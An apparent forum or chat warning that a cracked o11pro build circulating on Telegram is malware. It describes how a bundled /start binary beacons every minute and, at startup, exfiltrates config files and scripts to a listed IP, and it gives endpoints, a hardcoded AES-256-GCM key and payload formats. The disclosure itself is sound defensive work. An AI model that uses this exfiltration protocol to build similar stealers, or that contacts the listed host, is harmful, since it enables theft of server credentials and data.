Its malware and this is the Apocalyse "crack" he is posting in his VIP TG.
It steals cfgs (stream links and keys), any scripts stored in the /scripts folder and records other server data, delete the start file as it doesn't do anything but launch the main binary.
Instead just start the o11pro file directly, but the main one has embedded stuff also apparently.
This is a Crack and it is functional.
It works together with the /start binary which is actually a launcher and backdoor at the same time
The /start binary sends data to the originator every 1 minute
On this server
IP: 37.27.65.250
Port: 8008
Software: Python 3.8.10 (BaseHTTP/0.6)
Send encrypted data in this format
HEX: 6f3131536563757265577261707065724b65793230323621402324255e262a28
ASCII: o11SecureWrapperKey2026!@#$%^&*(
Type: AES-256-GCM
Encrypt them with this Algorithm
Algorithm: AES-256-GCM
Nonce: first 12 bytes of the blob (random per request)
Ciphertext: bytes [12 : -16]
GCM Tag: last 16 bytes
Encoding: standard base64 (no padding, sent in the "data" field)
And send this complete data
Frequency: every ~1 minute
URL:
http://37.27.65.250:8008/api/heartbeat
User-Agent: Go-http-client/1.1
Content-Type: application/json
Body sent:
{
"data": "<AES-256-GCM blob base64>",
"host_ip": "SERVER_PUBLIC_IP",
"hostname": "SERVER_HOSTNAME",
"ts": "2026-04-01T15:02:16Z"
}
Decrypted blob content:
{
"host_ip": "ipserver",
"hostname": "dev1",
"pid": 339284,
"port": "9999",
"running": true,
"uptime": "7m0s"
}
Then send another request and collect the data
Frequency: ONCE at every process startup
URL:
http://37.27.65.250:8008/api/collect
User-Agent: Go-http-client/1.1
Content-Type: application/json
Size: ~52KB body
Body sent:
{
"data": "<AES-256-GCM blob base64 of ~39KB>"
}
Decrypted blob structure (JSON):
{
"providers": {
"FILENAME.cfg": {
"content": "<AES-256-GCM blob base64 with file contents>",
"hash": "SHA256 of the file",
"mod_time": "2026-04-01T15:04:34Z",
"size": 4429
}
},
"scripts": {
"SCRIPTNAME.py": {
"content": "<AES-256-GCM blob base64 with script contents>",
"hash": "SHA256 of the script",
"mod_time": "2026-04-01T14:59:16Z",
"size": 24619
}
}
}